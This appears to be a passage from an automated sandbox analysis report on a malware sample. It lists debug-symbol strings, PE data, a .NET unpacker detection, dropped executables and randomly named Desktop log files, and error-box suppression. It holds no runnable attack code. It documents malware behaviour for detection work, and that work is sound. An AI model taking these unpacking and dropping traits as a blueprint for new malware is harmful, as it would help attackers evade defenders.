                          Source: Binary string: lC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: eC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: mountvol.pdb source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, h7xZry2ICs.exe, 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe, 00000003.00000000.1732944489.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe.2.dr
                          Source: Binary string: |C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: gC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: hC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                          Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                          Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                          Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                          Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

                          Data Obfuscation

                          barindex
                          .NET source code contains potential unpacker
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, 1a2.cs.Net Code: ghM System.Reflection.Assembly.Load(byte[])
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, 857.cs.Net Code: _736
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0069D416 push ecx; ret 0_2_0069D429
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00428E7D push esi; ret 2_2_00428E86
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_004076E0 push ecx; ret 2_2_004076F3
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9B883CB9 push ebx; retf 5_2_00007FFD9B883CBA
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA68E2A push 8B495E25h; iretd 5_2_00007FFD9BA68E2F
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BA8792B push ebx; retf 11_2_00007FFD9BA8796A
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BA8C759 push ebx; retf 11_2_00007FFD9BA8C75A
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BA82F48 push eax; iretd 11_2_00007FFD9BA82F49
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE2B081 pushad ; iretd 11_2_00007FFD9BE2B0BB
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE2CFCE pushad ; retf 11_2_00007FFD9BE2CFCD
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE2CED0 pushad ; retf 11_2_00007FFD9BE2CFCD
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\GZESsXxn.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\ChlBJuef.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\KynqlyEe.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\tzSlZRZx.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\vtJunvdL.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\iUznwWYk.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\NVPrtGZN.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\YBKPyitp.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\eMCeaDdo.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\vBETvAds.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\qOmVSEOE.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\wGPuvkTt.logJump to dropped file
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile created: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\JfZBmJZU.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\GHxAeCEl.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\AwFlCgTm.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\OKwaGAoa.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\QHXicADV.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\zbQSPIDz.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\SsDyjNNO.logJump to dropped file
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile created: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\ikefiKyX.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\JKjizlIg.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\hXYfaWJp.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\DnwbJdUf.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\YlgXMtSC.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\eunobOye.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\FccKWXjt.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\GpiKfMYa.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\dghoTZIw.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\csBGFfui.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\GYbsQreY.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\SsDyjNNO.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\JKjizlIg.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\zbQSPIDz.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\iUznwWYk.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\YlgXMtSC.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\QHXicADV.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\GZESsXxn.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\KynqlyEe.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\GHxAeCEl.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\hXYfaWJp.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\eMCeaDdo.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\OKwaGAoa.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\FccKWXjt.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\vtJunvdL.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\Desktop\dghoTZIw.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\GYbsQreY.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\NVPrtGZN.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\DnwbJdUf.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\ChlBJuef.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\tzSlZRZx.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\csBGFfui.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\JfZBmJZU.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\AwFlCgTm.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\qOmVSEOE.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\ikefiKyX.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\YBKPyitp.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\GpiKfMYa.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\wGPuvkTt.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\vBETvAds.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile created: C:\Users\user\Desktop\eunobOye.logJump to dropped file
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
